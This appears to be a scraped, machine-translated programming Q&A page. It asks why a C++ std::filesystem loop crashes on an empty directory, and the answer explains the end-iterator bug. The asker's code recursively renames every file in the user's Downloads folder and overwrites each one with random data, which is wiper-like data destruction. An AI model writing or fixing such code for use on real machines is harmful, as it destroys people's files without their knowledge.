![](/img/trans.png)
[英]How can i check for specific window name while enumerating EnumChildProc in WinApi?
[英]How can i check if directory is empty while changing files name?
我正在设置关于更改文件名的新代码,我的程序只是更改特定路径中的文件名,我使用文件系统库。 我的问题是,当路径中没有任何内容时(在我的情况下,它的下载路径)如果没有任何内容,如果没有 memory,我会遇到运行时错误。
我想检查目录中是否有东西,如果不在那里什么都不做,那就继续,如果目录中没有任何东西并且它很烦人,我的程序就无法工作。
我怎样才能做到这一点?
*我知道有很多关于它的问题,但就我而言,它与其他问题不同,所以请不要对我的问题投票。
srand(time(0));
string dirPath = "C:\\Users\\" + username() + "\\Downloads\\";
auto path = fs::path(dirPath);
auto dir = fs::recursive_directory_iterator(path);
filesystem::path currPath = path;
auto innerPaths = vector<fs::path>();
innerPaths.push_back(currPath);
int fileName = rand() % 1920;
auto currentDepthSize = dir.depth();
for (auto& block : dir)
{
if (currentDepthSize != dir.depth())
{
currentDepthSize = dir.depth();
currPath = innerPaths[currentDepthSize];
}
if (block.is_directory())
{
currentDepthSize = dir.depth();
currPath = dir->path();
innerPaths.push_back(currPath);
}
else
{
string filedata = (currPath.string() + to_string(fileName));
fs::rename(block.path(), filedata);
fileName++;
fstream file_data(filedata);
file_data << randomString();
file_data.close();
}
}
我收到这种类型的运行时错误
" 抛出异常:读取访问冲突。_My_data 为 0x48。"
抛出异常是因为您在end
迭代器上调用depth()
。
您只需要在使用之前检查dir
是否是end
迭代器。 你可以这样做:
if(dir == std::filesystem::recursive_directory_iterator())
这是第一次抛出异常的地方:
auto currentDepthSize = dir.depth();
所以你的代码应该是这样的:
srand(time(0));
string dirPath = "C:\\Users\\" + username() + "\\Downloads\\";
auto path = fs::path(dirPath);
auto dir = fs::recursive_directory_iterator(path);
if(dir == std::filesystem::recursive_directory_iterator())//<-------
return;
所以你只需从 function 返回,然后再使用 dir 如果它是一个结束迭代器。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.